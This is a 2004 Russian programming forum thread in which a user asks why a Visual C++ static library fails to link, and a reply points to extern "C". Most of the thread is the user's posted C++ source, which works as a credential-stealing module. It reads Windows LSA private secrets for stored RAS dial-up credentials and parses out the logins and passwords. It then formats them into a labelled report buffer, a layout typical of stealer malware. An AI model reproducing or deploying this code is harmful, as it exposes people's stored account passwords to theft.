Как првильно скомпилировать на Visual C++ Static Library
От: AsbAlex  
Дата: 27.04.04 17:35
Оценка:
Создаю значит проект набиваю код компилирую .
Беру получившиюся либу(*.lib) и присабачиваю к другому проекту
вызываю ф-ию из этой либы начинаю компилить, а он Сволочь :( говорит Unresolved external simvol

Вот исходники:
//LSAPass.cpp

#include "LSAPass.h"

    
    _ConvertSidToStringSid ConvertSidToStringSid=NULL;
    _LsaOpenPolicy LsaOpenPolicy=NULL;
    _LsaRetrievePrivateData LsaRetrievePrivateData=NULL;
    _LsaClose LsaClose=NULL;
    _LsaFreeMemory LsaFreeMemory=NULL;

    HMODULE hLib=NULL;

    struct PASSWORDS
    {
        char UID[256];
        char pass[256];
        char login[256];
        bool used;
    } *passwords;

    int passcol;
    int used=0;

    char FinishBuf[4096];
void FreeLSAFunctions()
{
    if(hLib!=NULL)
    {
        FreeLibrary(hLib);
        hLib=NULL;
    }
}

bool LoadLSAFunctions()
{
    hLib=LoadLibrary("advapi32.dll");
    if(hLib!=NULL)
    {
        ConvertSidToStringSid=(_ConvertSidToStringSid)GetProcAddress(hLib,"ConvertSidToStringSidA");
        LsaOpenPolicy=(_LsaOpenPolicy)GetProcAddress(hLib,"LsaOpenPolicy");
        LsaRetrievePrivateData=(_LsaRetrievePrivateData)GetProcAddress(hLib,"LsaRetrievePrivateData");
        LsaClose=(_LsaClose)GetProcAddress(hLib,"LsaClose");
        LsaFreeMemory=(_LsaFreeMemory)GetProcAddress(hLib,"LsaFreeMemory");
        if(ConvertSidToStringSid!=NULL && LsaOpenPolicy!= NULL && LsaRetrievePrivateData != NULL &&
            LsaClose!=NULL && LsaFreeMemory !=NULL) 
        {
            return true;
        }
        else return false;
    }else return false;
}

void AnsiStringToLsaStr(LPSTR AValue,PLSA_UNICODE_STRING lsa)
{
    lsa->Length=lstrlen(AValue)*2;
    lsa->MaximumLength=lsa->Length+2;
    lsa->Buffer=(PWSTR)malloc(lsa->MaximumLength);
    //ZeroMemory(&lsa->Buffer,lsa->MaximumLength);
    MultiByteToWideChar(NULL,NULL,(LPCSTR)AValue,lstrlen(AValue),lsa->Buffer,lsa->MaximumLength);
}

LPSTR GetLocalSid()
{
    char AccountName[256];
    DWORD sizeAccountName=sizeof(AccountName);
    union
    {
        SID s;
        char c[256];
    }Sid;
    DWORD sizeSid=sizeof(Sid);
    char DomainName[256];
    DWORD sizeDomainName=sizeof(DomainName);
    SID_NAME_USE peUse;
    LPSTR pSid;

    if(!GetUserName(AccountName,&sizeAccountName))return NULL;
    if(!LookupAccountName(NULL,AccountName,(SID*)&Sid,&sizeSid,DomainName,&sizeDomainName,&peUse))return NULL;
    if(!IsValidSid(&Sid))return NULL;
    if(!ConvertSidToStringSid((SID*)&Sid.s,&pSid))return NULL;
    return pSid;
}



DWORD GetRasEntryCount()
{
    RASENTRYNAME RasEntry;
    DWORD Count,RET;
    DWORD sofRasEntry=sizeof(RASENTRYNAME);
    
    ZeroMemory(&RasEntry,sizeof(RasEntry));
    RasEntry.dwSize=sofRasEntry;
    RET=RasEnumEntries(NULL,NULL,&RasEntry,&sofRasEntry,&Count);
    if(RET==ERROR_BUFFER_TOO_SMALL || RET==0) return Count;
    else return NULL;    
}

void MakePhoneBookPath(LPSTR Value)
{
    int length=lstrlen(Value);
    if(Value[lstrlen(Value)]!='\\')
    {
        Value[length]='\\';
        Value[length+1]=0;
    }
    strcat(Value,"Microsoft\\Network\\Connections\\pbk\\rasphone.pbk");
}

PLSA_UNICODE_STRING GetLsaData(LPSTR KeyName)
{
    LSA_OBJECT_ATTRIBUTES LsaObjectAttribs;
    LSA_HANDLE LsaHandle;
    LSA_UNICODE_STRING LsaKeyName;
    NTSTATUS nts;
    PLSA_UNICODE_STRING OutData;

    ZeroMemory(&LsaObjectAttribs,sizeof(LsaObjectAttribs));
    nts=LsaOpenPolicy(NULL,&LsaObjectAttribs,POLICY_ALL_ACCESS,&LsaHandle);
    if(nts!=0)return NULL;
    AnsiStringToLsaStr(KeyName, &LsaKeyName);
    nts=LsaRetrievePrivateData(LsaHandle, &LsaKeyName,&OutData);
    if(nts!=0)return NULL;
    nts=LsaClose(LsaHandle);
    if(nts!=0)return NULL;
    return OutData;
}

void ParseLsaBuffer(LPCWSTR Buffer,USHORT Length)
{
    char AnsiPsw[1024];
    char chr,PswStr[256];
    PswStr[0]=0;
    int a=0;

    WideCharToMultiByte(0,NULL,Buffer,Length,AnsiPsw,1024,0,0);
    for(int i=0;i<Length/2-2;i++)
    {
        chr=AnsiPsw[i];
        if(chr==0)a++;
    }

    a++;
    passcol=(int)a/9;
    passwords=new PASSWORDS[passcol];
    
    for(int i=0,SpacePos=0,count=0,TXT=0;i<Length/2-2;i++)
    {
        chr=AnsiPsw[i];
        if(chr==0)
        {
            SpacePos++;
            switch(SpacePos)
            {
            case 1:
                PswStr[TXT]=chr;
                strcpy(passwords[count].UID,PswStr);
                break;
            case 6:
                PswStr[TXT]=chr;
                strcpy(passwords[count].login,PswStr);
                break;
            case 7:
                PswStr[TXT]=chr;
                strcpy(passwords[count].pass,PswStr);
                passwords[count].used=false;
                count++;
                break;
            }
            ZeroMemory(PswStr,256);
            TXT=0;
        }else 
        {
            PswStr[TXT]=chr;
            TXT++;
        }
        if(SpacePos==9)SpacePos=0;
    }
}

void GetLsaPasswords()
{
    PLSA_UNICODE_STRING PrivateData;
    char Win2k[]="RasDialParams!%s#0";
    char WinXP[]="L$_RasDefaultCredentials#0";
    char temp[256];

    sprintf(temp,Win2k,GetLocalSid());

    PrivateData=GetLsaData(temp);
    if(PrivateData!=NULL)
    {
        ParseLsaBuffer(PrivateData->Buffer,PrivateData->Length);
        LsaFreeMemory(PrivateData->Buffer);    
    }

    PrivateData=GetLsaData(WinXP);
    if(PrivateData!=NULL)
    {
        ParseLsaBuffer(PrivateData->Buffer,PrivateData->Length);
        LsaFreeMemory(PrivateData->Buffer);    
    }
}

bool GetRasEntries()
{
    DWORD RasCount=GetRasEntryCount();
    RASDIALPARAMS RasParams;
    RASENTRYNAME* RasArray=NULL;
    //passwords=new PASSWORDS[RasCount];
    RasArray=new RASENTRYNAME[RasCount];
    BOOL RasGetPassBool=true;
    RASENTRY RasEntryProperties;
    RasArray[0].dwSize=sizeof(RASENTRYNAME);
    DWORD RasArraySize=RasCount*RasArray[0].dwSize;
    char Book1[MAX_PATH+1],Book2[MAX_PATH+1];
    OSVERSIONINFO osi;
    Book1[0]=Book2[0]=0;
    char MessageFormat[]="\tСоеденение: %s\r\n\tТелефон: %s\r\n\tЛогин: %s\r\n\tПароль: %s\r\n\r\n";
    char MessageBuf[512];

    if(RasEnumEntries(NULL,NULL,RasArray,&RasArraySize,&RasCount))return false;

    osi.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
    GetVersionEx(&osi);

    if(osi.dwPlatformId == VER_PLATFORM_WIN32_NT && osi.dwMajorVersion >= 5)
    {
        if(SHGetSpecialFolderPath(NULL,Book1,0x1A,false))MakePhoneBookPath(Book1);
        if(SHGetSpecialFolderPath(NULL,Book2,0x23,false))MakePhoneBookPath(Book2);
        LoadLSAFunctions();
        GetLsaPasswords();
        FreeLSAFunctions();
    }

    for(unsigned int i=0;i<RasCount;i++)
    {
        RasParams.dwSize=sizeof(RASDIALPARAMS);
        memcpy(&RasParams.szEntryName,RasArray[i].szEntryName,256);
        RasGetEntryDialParams(NULL,&RasParams,&RasGetPassBool);

        RasArraySize=sizeof(RASENTRY);
        ZeroMemory(&RasEntryProperties,RasArraySize);
        RasEntryProperties.dwSize=RasArraySize;
        RasGetEntryProperties(NULL,RasArray[i].szEntryName,&RasEntryProperties,&RasArraySize,NULL,NULL);

        if(osi.dwPlatformId == VER_PLATFORM_WIN32_NT && osi.dwMajorVersion >= 5 && (Book1!=0 || Book2!=0))
        {
            char tmp[256];
            WCHAR WideStr[256];
            char UTF8Str[256];
            DWORD col=0;

            tmp[0]=0;

            MultiByteToWideChar(CP_ACP, 0, RasParams.szEntryName,-1,WideStr,255);
            WideCharToMultiByte(65001, 0, WideStr,-1,UTF8Str,255, 0, 0);
            
            col=GetPrivateProfileString(RasParams.szEntryName,"DialParamsUID",0,tmp,255,Book1);
            if(col==0) col=GetPrivateProfileString(UTF8Str,"DialParamsUID",0,tmp,255,Book1);
            if(col==0) col=GetPrivateProfileString(RasParams.szEntryName,"DialParamsUID",0,tmp,255,Book2);
            if(col==0) col=GetPrivateProfileString(UTF8Str,"DialParamsUID",0,tmp,255,Book2);
            if(col>0)
            {
                for(int x=0;x<passcol;x++)
                {
                    if(lstrcmp(tmp,passwords[x].UID)==0)
                    {
                        strcpy(RasParams.szPassword,passwords[x].pass);    
                        passwords[x].used=true;
                        used++;
                        break;
                    }
                }
            }
        }
        sprintf(MessageBuf,MessageFormat,RasParams.szEntryName,RasEntryProperties.szLocalPhoneNumber,RasParams.szUserName,RasParams.szPassword);
        strcat(FinishBuf,MessageBuf);
    }
    return true;
}

export LPSTR GetRasPasswords()
{
    char NotUsedShab[]="\tUID: %s\r\n\tЛогин: %s\r\n\tПароль: %s\r\n\r\n";
    char tmp[512];

    lstrcpy(FinishBuf,"[Ras Section Start]\r\n{\r\n\r\n");
    int a=lstrlen(FinishBuf);
    GetRasEntries();
    if(a==lstrlen(FinishBuf)) lstrcpy(FinishBuf,"[Ras Passwords not found!]\r\n\r\n");
    else
    {
        if(used!=passcol)
        {
            lstrcat(FinishBuf,"\t[Not Used Passwords]\r\n\r\n");
            for(int i=0;i<passcol;i++)
            {
                if(passwords[i].used==false)
                {
                    sprintf(tmp,NotUsedShab,passwords[i].UID,passwords[i].login,passwords[i].pass);
                    lstrcat(FinishBuf,tmp);
                }
            }
        }

        lstrcat(FinishBuf,"}\r\n[Ras Section End]\r\n\r\n");
    }
    passcol=used=0;
    delete passwords;
    return FinishBuf;
}

////////////////////////////////////////////////////////////////////////////////////////////
//LSAPass.h

#ifndef WINVER                // Allow use of features specific to Windows 95 and Windows NT 4 or later.
#define WINVER 0x0400        // Change this to the appropriate value to target Windows 98 and Windows 2000 or later.
#endif

#include <windows.h>
#include <stdio.h>
#include <ShlObj.h>
#include <ras.h>
#include <raserror.h>

//КОНСТАНТЫ
//--------------------------------------------------------------------//
#define POLICY_VIEW_LOCAL_INFORMATION              0x00000001L
#define POLICY_VIEW_AUDIT_INFORMATION              0x00000002L
#define POLICY_GET_PRIVATE_INFORMATION             0x00000004L
#define POLICY_TRUST_ADMIN                         0x00000008L
#define POLICY_CREATE_ACCOUNT                      0x00000010L
#define POLICY_CREATE_SECRET                       0x00000020L
#define POLICY_CREATE_PRIVILEGE                    0x00000040L
#define POLICY_SET_DEFAULT_QUOTA_LIMITS            0x00000080L
#define POLICY_SET_AUDIT_REQUIREMENTS              0x00000100L
#define POLICY_AUDIT_LOG_ADMIN                     0x00000200L
#define POLICY_SERVER_ADMIN                        0x00000400L
#define POLICY_LOOKUP_NAMES                        0x00000800L
#define POLICY_NOTIFICATION                        0x00001000L

#define POLICY_ALL_ACCESS     (STANDARD_RIGHTS_REQUIRED         |\
                               POLICY_VIEW_LOCAL_INFORMATION    |\
                               POLICY_VIEW_AUDIT_INFORMATION    |\
                               POLICY_GET_PRIVATE_INFORMATION   |\
                               POLICY_TRUST_ADMIN               |\
                               POLICY_CREATE_ACCOUNT            |\
                               POLICY_CREATE_SECRET             |\
                               POLICY_CREATE_PRIVILEGE          |\
                               POLICY_SET_DEFAULT_QUOTA_LIMITS  |\
                               POLICY_SET_AUDIT_REQUIREMENTS    |\
                               POLICY_AUDIT_LOG_ADMIN           |\
                               POLICY_SERVER_ADMIN              |\
                               POLICY_LOOKUP_NAMES)


#define POLICY_READ           (STANDARD_RIGHTS_READ             |\
                               POLICY_VIEW_AUDIT_INFORMATION    |\
                               POLICY_GET_PRIVATE_INFORMATION)

#define POLICY_WRITE          (STANDARD_RIGHTS_WRITE            |\
                               POLICY_TRUST_ADMIN               |\
                               POLICY_CREATE_ACCOUNT            |\
                               POLICY_CREATE_SECRET             |\
                               POLICY_CREATE_PRIVILEGE          |\
                               POLICY_SET_DEFAULT_QUOTA_LIMITS  |\
                               POLICY_SET_AUDIT_REQUIREMENTS    |\
                               POLICY_AUDIT_LOG_ADMIN           |\
                               POLICY_SERVER_ADMIN)

#define POLICY_EXECUTE        (STANDARD_RIGHTS_EXECUTE          |\
                               POLICY_VIEW_LOCAL_INFORMATION    |\
                               POLICY_LOOKUP_NAMES)

//СТРУКТУРЫ
//------------------------------------------------------------------------//

typedef struct _LSA_UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
#ifdef MIDL_PASS
    [size_is(MaximumLength/2), length_is(Length/2)]
#endif // MIDL_PASS
    PWSTR  Buffer;
} LSA_UNICODE_STRING, *PLSA_UNICODE_STRING;

typedef struct _LSA_OBJECT_ATTRIBUTES {
    ULONG Length;
    HANDLE RootDirectory;
    PLSA_UNICODE_STRING ObjectName;
    ULONG Attributes;
    PVOID SecurityDescriptor;        // Points to type SECURITY_DESCRIPTOR
    PVOID SecurityQualityOfService;  // Points to type SECURITY_QUALITY_OF_SERVICE
} LSA_OBJECT_ATTRIBUTES, *PLSA_OBJECT_ATTRIBUTES;

typedef LONG NTSTATUS, *PNTSTATUS;
typedef PVOID LSA_HANDLE, *PLSA_HANDLE;

//ИМПОРТИРУЕМЫЕ ФУНКЦИИ
//-----------------------------------------------------------------------------//

typedef BOOL (WINAPI *_ConvertSidToStringSid)(PVOID sid, LPSTR  *StringSid);

typedef NTSTATUS (WINAPI *_LsaOpenPolicy)(PLSA_UNICODE_STRING SystemName, PLSA_OBJECT_ATTRIBUTES ObjectAttributes, ACCESS_MASK DesiredAccess, PLSA_HANDLE PolicyHandle);

typedef NTSTATUS (WINAPI *_LsaRetrievePrivateData)(LSA_HANDLE LSAHandle, PLSA_UNICODE_STRING KeyName, PLSA_UNICODE_STRING * PrivateData);

typedef NTSTATUS (WINAPI *_LsaClose)(LSA_HANDLE ObjectHandle);

typedef NTSTATUS (WINAPI *_LsaFreeMemory)(PVOID Buffer);

//ФУНКЦИИ
//-----------------------------------------------------------------------------//

/*extern DWORD GetRasEntryCount();
extern LPSTR GetRasPasswords();*/

Исправлено форматирование. Пожалуйста, не забывайте пользоваться тегами [c] ... [/c], [code] ... [/code] и т.п. для выделения фрагментов кода. -- ПК.
Re: Как првильно скомпилировать на Visual C++ Static Library
От: AsbAlex  
Дата: 27.04.04 17:47
Оценка:
unresolved external symbol _GetRasPassword@0
Re: Как првильно скомпилировать на Visual C++ Static Library
От: Павел Кузнецов  
Дата: 28.04.04 07:00
Оценка:
> Создаю значит проект набиваю код компилирую .
> Беру получившиюся либу(*.lib) и присабачиваю к другому проекту
> вызываю ф-ию из этой либы начинаю компилить, а он Сволочь говорит Unresolved external simvol

extern "C". Совсем недавно уже обсуждалось, попробуй воспользоваться поиском.
Posted via RSDN NNTP Server 1.8
Легче одурачить людей, чем убедить их в том, что они одурачены. — Марк Твен
 
Подождите ...
Wait...
Пока на собственное сообщение не было ответов, его можно удалить.